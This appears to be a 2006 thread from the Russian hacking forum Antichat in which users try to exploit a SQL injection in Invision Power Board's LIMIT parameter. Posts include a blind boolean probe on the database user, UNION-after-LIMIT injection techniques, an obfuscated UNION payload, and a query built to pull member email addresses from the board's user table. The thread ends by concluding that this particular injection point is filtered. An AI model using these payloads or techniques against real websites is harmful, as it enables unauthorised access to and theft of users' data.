Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   SQL-inject в Invision Power Board (https://forum.antichat.xyz/showthread.php?t=23844)

1ten0.0net1 12.09.2006 14:35

SQL-inject в Invision Power Board
 
Странно, что до меня никто не задал подобный вопрос (наверное, все читают только русский bugtraq):

mySQL query error: SELECT * FROM ibf_sessions s WHERE s.running_time > 1158056188 ORDER BY running_time desc LIMIT -999,25

Насколько я знаю синтаксис union, он не катит после LIMIT. AND вроде тоже не подставить, так что тогда делать?

Все, придумал. Драбоать только надо. Кто поможет?
sort_key=click&st=(ascii(lower(substring(USER(),1, 1)))%3E100),25

Кто подскажет - как в этом запросе найти разницу (во внешнем виде страницы) между запросом, возвращающим единицу, и возвращающим нуль.

Нашел разницу - строк на одну меньше. И все равно запрос не катит. Блин.

Вопрос снят, там фильтры.

edos 12.09.2006 17:31

Вот и поговорил сам с собой ))

Utochka 12.09.2006 18:39

гы )

1ten0.0net1 12.09.2006 19:09

Цитата:

Сообщение от edos
Вот и поговорил сам с собой ))

Жаль, что только я могу ответить себе что-нибудь кроме гы.

SladerNon 13.09.2006 00:22

там фильтруется все кроме номеров. Буквы режуться :)

да и после Limit, Union не может работать, как все знают :), конечно если ты только не нарыл какой нить секретнейший новейший способ ))))))

LoFFi 13.09.2006 00:28

че то я не понял
Код:

инъекция после limit.

Довольно части возможность SQL инъекции возникает внутри параметра, передающегося к limit. Это может быть номер страницы и тд и тп.

Практика показывает, что все вышесказанное может быть применено и в этом случае.

MySQL корректно реагирует на запросы типа:

Select ... limit 1,2 union select....

Select ... limit 1 union select....

Если необходимо чтобы первый подзапрос вернул пустой результат, необходимо искусственно задать большие смещения для первого запросы:

Select ... limit 99999,1 union select.... Либо, Select ... limit 1,0 union select....


LoFFi 13.09.2006 00:46

попробуй ввести AES_DECRYPT(AES_ENCRYPT(-999,25/**/union/**/select/**/null/*,0x71),0x71)

SladerNon 13.09.2006 00:53

я не имел ввиду, а не уточнил почему не будет в данном случае работать LIMIT :)

LoFFi


думал Вы заметите, что там ORDER BY, и вот по этому после LIMIT и не будет работать UNION :)

SladerNon 13.09.2006 00:58

SELECT * FROM ibf_skin_templates limit 1,0 union select 1,1,1,1,1,1,1,converge_email FROM ibf_members_converge

да будет канать..

там вот такой запрос: SELECT * FROM ibf_sessions s WHERE s.running_time > 1158056188 ORDER BY running_time desc LIMIT 9,25

мы к нему, если бы даже смогли что нить добавить, то добавили бы: union select 1,1,1,1,1,1,1,converge_email FROM ibf_members_converge

то есть если всё в месте, то получили бы:

SELECT * FROM ibf_sessions s WHERE s.running_time > 1158056188 ORDER BY running_time desc LIMIT 9,25 union select 1,1,1,1,1,1,1,converge_email FROM ibf_members_converge/*

ну и в ответ получили бы Incorrect usage of UNION and ORDER BY

SladerNon 13.09.2006 01:12

Цитата:

Сообщение от 1ten0.0net1
Вопрос снят, там фильтры.

Да даже если бы и фильтров не было, все ровно бы не работало :)


Время: 10:42